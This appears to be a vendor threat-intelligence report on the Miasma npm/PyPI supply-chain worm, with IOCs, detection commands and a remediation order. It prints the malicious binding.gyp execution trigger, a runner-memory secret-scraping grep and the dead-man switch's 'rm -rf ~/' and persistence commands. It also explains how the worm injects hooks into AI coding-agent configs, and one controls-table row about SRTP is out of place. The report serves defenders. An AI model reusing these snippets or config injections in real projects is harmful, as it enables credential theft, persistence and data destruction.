Loading...

Executive Summary

On June 10, 2026, the complete source code for the Miasma credential-stealing worm went public on GitHub. Threat actors used compromised developer accounts to publish dozens of repositories titled Miasma-Open-Source-Release before GitHub could pull them. It was the second time this family's source had leaked — the first led directly to more advanced variants and higher attack rates.

Miasma is the third wave of the Shai-Hulud self-propagating worm family. It compromised 96 npm package versions across 32 @redhat-cloud-services packages, deployed 37 malicious PyPI wheels across 19 packages, and injected backdoors into 123+ GitHub repositories. Its core innovation is a binding.gyp-based execution bypass that defeats --ignore-scripts, paired with AI coding agent config injection that survives full node_modules wipes. The campaign uses GitHub's own public API as C2 and deters incident response with a destructive dead-man switch that executes rm -rf ~/ if a stolen token is revoked.

npm Supply Chain PyPI RubyGems Phantom Gyp Shai-Hulud Wave 3 @redhat-cloud-services T1195.002 – Compromise Software Supply Chain T1574 – Hijack Execution Flow T1485 – Data Destruction T1056 – Input Capture
MIASMA CAMPAIGN — BY THE NUMBERS
96
Malicious npm Versions
37
Malicious PyPI Wheels
123+
GitHub Repos Backdoored
117K
Weekly Downloads Exposed
72h
Dead-Man Switch TTL
49s
Automated Sweep Speed

The Lineage: Three Waves, Nine Months

Miasma did not appear from nowhere. It is the third documented iteration of a self-propagating developer-targeting worm family, named after the sandworm of Frank Herbert's Dune.

Wave 1 · September 2025
Original Shai-Hulud
Direct malicious code injection into npm packages, TruffleHog-based credential harvesting, minimal evasion. Smaller scope, slower propagation. The proof of concept that proved the model worked.
Wave 2 · November 2025
Shai-Hulud Escalated
Switched to preinstall lifecycle hooks. Scale jumped to 25,000+ infected repositories with 1,000 new infections per 30 minutes. Added Docker container escapes, destructive sabotage, and GitHub Actions runner persistence. The worm learned to live inside CI/CD.
Wave 3 · June 2026
Miasma
The preinstall hook abandoned for a binding.gyp-based bypass that defeats --ignore-scripts entirely. 57 packages compromised in under 2 hours. First supply chain worm to specifically target Claude Code, Gemini CLI, Cursor, and Copilot configs as persistence mechanisms. Source code leaked publicly on June 10, 2026.

How It Got In: The OIDC Trusted Publishing Flaw

The Red Hat @redhat-cloud-services namespace was the primary entry point. Attackers exploited a critical design gap in npm's trusted publishing system.

npm's trust model binds to "repository plus workflow filename" — not to a branch, a ref, or a protected environment. An attacker with write access to any branch can create a throwaway branch, rewrite a CI workflow to exchange a GitHub Actions OIDC token for an npm publish token, and ship a malicious package version with valid Sigstore provenance attestations.

Critical Finding

A Red Hat employee's GitHub credentials appeared in infostealer logs as early as April 13, 2026 — six weeks before the attack. The third wave of malicious package versions became the new latest. Upgrading to "latest" during the attack window actively installed the payload. The typical "just upgrade" response was the attack.

Attack Entry Flow

OIDC TRUSTED PUBLISHING ABUSE — ENTRY CHAIN
1
Credentials Harvested — 6 Weeks Prior
Red Hat employee GitHub credentials appear in infostealer logs April 13, 2026. Attacker waits.
2
Throwaway Branches Created
Short-lived oidc-<hex> branches pushed to three RedHatInsights repositories. CI workflows rewritten to self-publishing jobs.
3
OIDC Token Exchanged for npm Publish Rights
Workflow exchanges GitHub Actions OIDC token for npm publish token via trusted publisher mechanism. No credentials needed beyond the branch write.
4
Malicious Packages Published with Valid Sigstore Attestations
96 versions across 32 @redhat-cloud-services packages published. Each carries valid provenance — compromised versions look cryptographically legitimate. Third wave becomes latest.

The Payload: The binding.gyp Execution Bypass

Wave 3's core innovation — dubbed "Phantom Gyp" by the security community — moved execution from preinstall lifecycle hooks to a binding.gyp file that node-gyp processes automatically during native builds.

binding.gyp — 157 bytes, the entire execution trigger
{
"targets": [{
"target_name": "Setup",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}]
}

The <!(...) syntax is GYP's command expansion. When npm encounters any package containing binding.gyp, it automatically invokes node-gyp rebuild — without any declared lifecycle scripts in package.json. The command fires during the configure phase, before any compilation. Output is silently redirected to /dev/null.

Why --ignore-scripts Fails

npm install --ignore-scripts blocks lifecycle scripts — preinstall, postinstall, etc. It does not prevent node-gyp from running when a binding.gyp file is present. This is documented npm/node-gyp behavior, repurposed as an attack vector. Version pinning + scanning is the only reliable protection.

Four-Stage Loader

PAYLOAD EXECUTION — STAGE BREAKDOWN
1
ROT-N Eval (~4.5 MB index.js)
~1.3 million character-code array wrapped in a Caesar cipher. ROT offset varies per build, defeating static signatures. Decoded via eval().
2
AES-128-GCM Decryption
Two encrypted blobs with hardcoded keys and IVs. First blob = Bun loader (907 bytes). Second blob = main payload.
3
Bun Runtime Loader (907 bytes)
Downloads Bun v1.3.13 from official GitHub releases. Execution chain becomes node → shell → bun, evading Node-focused security monitoring.
4
Main Payload (649–668 KB under Bun)
obfuscator.io processed with 2,306 encrypted strings. Handles credential theft, AI tool backdooring, worm propagation, and GitHub-based exfiltration simultaneously.

The Credential Harvest

Once executing, the payload conducts a systematic sweep of the developer environment across four target layers.

Layer Targets
Cloud Providers AWS (access keys, IMDS, Secrets Manager, SSM across 19 regions, STS) · GCP (service accounts, Secret Manager) · Azure (managed identity, Key Vault, service principals)
Infrastructure HashiCorp Vault (all KV mounts, 8+ token paths) · Kubernetes (service accounts, kubeconfig, all namespaces) · Docker socket
CI/CD & Registries GitHub PATs, OIDC tokens, Actions secrets, org secrets · npm auth tokens · RubyGems API keys · PyPI tokens
Developer Tools SSH (~/.ssh directory) · Password managers (1Password, pass, gopass — master passwords from env vars and shell history) · AI assistants (Claude, Cursor, Gemini, VS Code)

GitHub Actions Runner Memory Scraping

GitHub Actions masks secrets in logs. It cannot protect them from a process reading the runner's memory. The payload reads the Runner.Worker process directly from /proc:

Runner memory scrape — retrieves secrets in unmasked form
tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}'
CI/CD Impact

Any secret visible to a GitHub Actions runner — regardless of log masking — should be treated as compromised if the runner executed a package from an affected version range. This includes OIDC tokens, cloud credentials, and npm publish tokens passed as environment variables.

AI Coding Agent Config Injection: The New Persistence Frontier

This is what distinguishes Miasma from every prior supply chain attack. The worm specifically targets the configuration files that AI coding assistants read on startup — persistence hooks that survive npm uninstall and a full node_modules wipe.

Config File Tool Trigger Payload
.claude/settings.json Claude Code SessionStart hook node .github/setup.js
.gemini/settings.json Gemini CLI SessionStart hook node .github/setup.js
.cursor/rules/setup.mdc Cursor Always-apply rule Embedded loader
.vscode/tasks.json VS Code Folder-open task Embedded loader

The worm enumerates all repositories accessible via stolen tokens, reads workflow files via GitHub's GraphQL API, then injects these config files via createCommitOnBranch. 13 AI coding tools are targeted in total — including Copilot, Kiro, and Cline. Analysis confirmed 123+ repositories carrying injected hooks — a floor figure constrained by GitHub code search limits.

Why This Is Dangerous

The attack surface expanded the moment AI coding tools began reading project-local configuration files and executing hooks automatically. By injecting into .claude/settings.json and equivalents, Miasma achieves persistence that survives package removal, node_modules wipes, and even OS reinstalls if the repository is re-cloned. The infection migrates from the package to the project.

GitHub as C2: No Servers Required

Miasma requires zero dedicated command-and-control infrastructure. Three hardcoded commit search strings act as independent C2 channels against GitHub's own public API.

Channel 1 · Exfiltration
DontRevokeOrItGoesBoom
PAT discovery and credential exfiltration · AES-256-CBC encoded · separate validation key
Channel 2 · JS Delivery
TheBeautifulSandsOfTime
JavaScript payload delivery for immediate execution via eval()
Channel 3 · Python Scripts
firedalazer
Python script distribution for persistent token monitoring services
GITHUB-AS-C2 — THREE CHANNEL ARCHITECTURE api.github.com /search/commits CH 1 · EXFILTRATION DontRevoke OrItGoesBoom CH 2 · JS PAYLOAD TheBeautiful SandsOfTime CH 3 · PYTHON firedalazer token monitor scripts EXFILTRATION REPOSITORIES liuende501 windy629 HerGomUli results/results-{timestamp}.json · RSA-4096 + AES-256-GCM Commit search query (C2 channel) Exfiltration path

Three independent C2 channels using GitHub's commit search API — no dedicated infrastructure, no custom domains, no IP-based blocking possible.

Stolen credentials are RSA-4096 + AES-256-GCM encrypted and uploaded as results/results-{timestamp}.json to rotating attacker-controlled public repositories — liuende501 (236+ repos), windy629, and HerGomUli.

The Dead-Man Switch

Every machine that executed the payload has a token monitoring service running in the background. This is the most operationally dangerous feature of Miasma — it changes incident response order entirely.

The service polls GET https://api.github.com/user every 60 seconds using the stolen GitHub token. If the response is any 4xx status — token revoked — it immediately executes:

Dead-man switch — executes on token revocation
# Fires within 60 seconds of 4xx response from api.github.com/user
rm -rf ~/; rm -rf ~/Documents
# Persists as systemd user service (Linux)
systemctl --user enable gh-token-monitor.service
# Persists as LaunchAgent (macOS)
launchctl load ~/Library/LaunchAgents/com.gh.token-monitor.plist
# TTL: runs for up to 72 hours even if token remains valid
# Honeytoken marker: IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner
Critical — Remediation Order

The standard incident response playbook — detect, contain, rotate credentials — will trigger the wiper if credentials are rotated before the persistence service is removed. The correct order is: (1) remove the dead-man switch service, (2) remove AI config hooks, (3) only then revoke stolen tokens.

Three-Branch Worm Propagation

Once credentials are harvested, the worm immediately reuses them across three parallel propagation paths. A documented 49-second sweep across 5 repositories demonstrates how fully automated the replay is.

WORM PROPAGATION — THREE PARALLEL BRANCHES
A
npm Worm
Enumerate maintainer packages · download tarball · inject binding.gyp + index.js · forge Sigstore/SLSA provenance via Fulcio + Rekor · publish · next developer installs, cycle repeats
B
RubyGems Worm
Validate stolen API key · download .gem file · inject extconf.rb with equivalent Bun loader (RubyGems' native extension build hook) · repackage and publish
C
GitHub Repo Infection
Enumerate all writable repositories via stolen token · read existing workflow files via GraphQL · inject .claude/settings.json, .cursor/rules/setup.mdc, .vscode/tasks.json · push via createCommitOnBranch · backdated commits (e.g. 2020-03-09) to evade detection

The Hades PyPI Wave: Infection at Interpreter Startup

Concurrent with the npm wave, the same campaign deployed a PyPI variant using a persistence mechanism that predates Python package execution entirely.

37 malicious wheels across 19 packages embedded a *-setup.pth file. Python's site module processes .pth files during interpreter startup — any line beginning with import followed by a space is executed automatically whenever Python starts, without any explicit package import required.

High-Impact Targets

The Hades wave specifically targeted established bioinformatics packages with large cumulative download counts: dynamo-release, spateo-release, coolbox, and napari-ufish. These are trusted, well-known research tools — not obscure packages. The combined wave totaled 448 affected artifacts — 411 npm, 37 PyPI.

The durabletask Precursor: A Three-Week Preview

Three weeks before the Red Hat npm wave, the same operator hit PyPI with the durabletask Python package (versions 1.4.1–1.4.3). C2 domains were pre-registered May 16 — three days before the attack. This level of operational preparation confirms the campaign was deliberate and staged, not opportunistic.

DURABLETASK ATTACK — ARCHITECTURE
3 days
C2 Domains Pre-Registered Before Attack
35 min
3 Malicious Versions Published
28 KB
rope.pyz Stage-2 Payload
3
Exfiltration Fallback Tiers

The stage-2 rope.pyz payload featured a triple-redundant exfiltration chain: primary C2 at check[.]git-service[.]com (AES-256-GCM + RSA-4096), a GitHub dead-drop fallback (searches for FIRESCALE keyword, RSA-verifies URLs), and a last-resort path that creates public repos with random Slavic folklore names (e.g. BABA-YAGA-KOSCHEI-742) and uploads results.json.

The variant also included geotargeted destruction: on Israeli or Iranian locale systems, a 1-in-6 probability triggered audio playback at max volume followed by rm -rf /*. The remaining 5-in-6 deployed persistent backdoor access instead.

The Source Code Leak: What It Means

The June 10, 2026 leak of Miasma's complete source code is not just a news event — it is a force multiplier for future campaigns. The toolkit contains credential harvesting modules, the binding.gyp injector, the AI config backdoor generator, the dead-man switch installer, and the three-channel GitHub C2 framework. A five-stage build pipeline generates a unique payload per target, making each sample different enough to defeat signature-based detection.

"We didn't see attackers weaponize it" when similar source code was previously disclosed. — Principal Threat Researcher, major cloud security firm

McCarthy's measured counterpoint: sophisticated actors rarely adopt open-sourced malware directly. The real risk is less sophisticated operators running the toolkit as-is — accelerating frequency without needing expertise. Attribution becomes nearly impossible once the code is public. This is the second time this family's source has leaked. The first led to more advanced variants and higher attack rates. History is positioned to repeat.

The Complete Attack Chain

INFILTRATION EXECUTION C2 + PERSIST APR 13 Creds Stolen infostealer logs 1 OIDC Abuse oidc-<hex> 2 96 Packages valid SLSA sig 3 Phantom Gyp binding.gyp 4 4-Stage Loader node→shell→bun 668 KB payload 5 Cred Harvest AWS·GCP·Azure +AI configs 6 GitHub C2 exfil + propagate 7 Dead-Man rm -rf ~/ 8 Infiltration phase Execution phase C2 + persistence phase

Eight-step Miasma attack chain — initial credential theft six weeks before the campaign, through OIDC trusted publishing abuse, Phantom Gyp execution, and GitHub-as-C2 to the destructive dead-man switch.

What Miasma Defeats — Security Controls Table

Security Control Expected Behaviour Miasma's Bypass
npm install --ignore-scripts Blocks preinstall/postinstall hooks Bypassed — binding.gyp triggers node-gyp outside lifecycle
Sigstore / SLSA Provenance Verifies package came from legitimate CI Forged — via Fulcio + Rekor using stolen OIDC token
GitHub Actions Secret Masking Hides secrets in CI logs Bypassed — /proc memory scrape retrieves unmasked values
npm uninstall / node_modules wipe Removes malicious packages Survives — AI config hooks persist in .claude/, .cursor/, .vscode/
Token revocation (incident response) Cuts off attacker access Triggers wiper — dead-man switch executes rm -rf ~/ within 60s
SRTP / RTP media encryption Protects call audio Not targeted — Miasma targets developer credentials, not media

Detection

Hunting the Phantom Gyp Vector

bash — hunt for binding.gyp and large entry points
# Find packages with GYP command expansion
grep -rl '<!(' node_modules/*/binding.gyp node_modules/**/binding.gyp 2>/dev/null
# Suspiciously large entry points (legitimate ones rarely exceed 1 MB)
find node_modules -maxdepth 2 -name index.js -size +1M 2>/dev/null
# Check for injected AI config hooks in the current repository
ls -la .claude/settings.json .gemini/settings.json \
.cursor/rules/setup.mdc .vscode/tasks.json 2>/dev/null
# Check git log for unexpected changes to config files
git log --oneline -- .claude/ .cursor/ .gemini/ .vscode/ .github/

Behavioural and Network Indicators

Detection Checklist

node-gyp rebuild running for packages without known native components
Unexpected child processes during install: curl, unzip, bun
Bun binary downloaded from oven-sh/bun releases to a temp directory mid-install
GitHub API calls with User-Agent: python-requests/2.31.0 from non-Python processes
GitHub commit searches for DontRevokeOrItGoesBoom, TheBeautifulSandsOfTime, firedalazer
New public repositories created by CI service accounts
Endpoint detection signatures: Trojan:JS/ShaiWorm.DAW!MTB or Trojan:JS/ObfusNpmJs
Temp artifacts: /tmp/p<random>.js, /tmp/b-<random>/bun, /tmp/kitty-<random>

Remediation — Order Matters

Do Not Rotate Credentials First

If the dead-man switch is still running when you revoke a stolen GitHub token, it executes rm -rf ~/ within 60 seconds. Remove the monitoring service first. Then remove config hooks. Only then rotate credentials.

INCIDENT RESPONSE — CORRECT ORDER
1
Remove the Dead-Man Switch Service
Linux: systemctl --user list-units | grep -i monitor then stop and disable. macOS: launchctl list | grep -i monitor then unload. Do this on every potentially affected machine before touching any credentials.
2
Remove Injected AI Config Hooks
Audit .claude/settings.json (unexpected hooks entries), .vscode/tasks.json (unexpected runOn: folderOpen), remove .cursor/rules/setup.mdc and .gemini/settings.json if not legitimately present.
3
Clean Install on Pinned Versions
rm -rf node_modules, pin affected packages to known-clean versions, then npm install --ignore-scripts. Remember: this only blocks lifecycle scripts. Pair with scanning.
4
Rotate All Reachable Credentials — In Order
GitHub PATs first (cuts active exfiltration) → npm tokens → CI/CD secrets → AWS → GCP → Azure → HashiCorp Vault → Kubernetes → SSH keys → Password manager master passwords.
5
Audit for Downstream Propagation
Check for unexpected repos created by your accounts, review recent .github/workflows/ changes, search GitHub for repos with descriptions matching Miasma: The Spreading Blight or Hades - The End for the Damned.

Indicators of Compromise

Category Indicator
npm tarball SHA256 031ba872d5a84bfb18115f432811e4b45180346a1bae653f7fd85f918e7bb3a3
index.js SHA256 df1732f5bfec12e066be44dee02ec8a243e4868d38672c1b1d065359dd735a14
AES-128-GCM key 1 fe0d71d57ecf4fa0a433185bf59a03f5
AES-128-GCM key 2 f5e5dca9b725ec18514c4b322ed35d2b
Bun version (pinned) v1.3.13
Temp artifacts /tmp/p<random>.js  ·  /tmp/b-<random>/bun  ·  /tmp/kitty-<random>
Worm branch name chore/add-codeql-static-analysis
Exfil repo description (npm) Miasma: The Spreading Blight
Exfil repo description (PyPI) Hades - The End for the Damned
C2 string 1 DontRevokeOrItGoesBoom
C2 string 2 TheBeautifulSandsOfTime
C2 string 3 firedalazer
Dead-man switch marker IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner
Exfil account 1 liuende501 (236+ repos)
Exfil account 2 windy629
Exfil account 3 HerGomUli
durabletask C2 check[.]git-service[.]com (160.119.64.3, AS49870)
durabletask C2 backup t[.]m-kosche[.]com (185.95.159.32, AS209101)
Defender signature 1 Trojan:JS/ShaiWorm.DAW!MTB
Defender signature 2 Trojan:JS/ObfusNpmJs
.pth SHA256 (PyPI) c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
TechOwl SHIELD
Continuous Threat Intelligence & Attack Surface Monitoring

Vulnerability Assessment

Deep technical analysis of vulnerabilities affecting your infrastructure — beyond CVSS scores to real-world exploitability and impact.

Attack Surface Intelligence

Passive mapping of your external presence — every exposed service, endpoint, and piece of infrastructure visible to the public internet.

Threat Hunting

Proactive detection of compromise indicators, APT activity, and post-exploitation artifacts across your email and identity infrastructure.

Dark Web Monitoring

Continuous surveillance of stolen credential markets, threat actor forums, and data leak channels. Know when you're being targeted before it becomes an incident.

© 2026 TechOwl SHIELD. All rights reserved.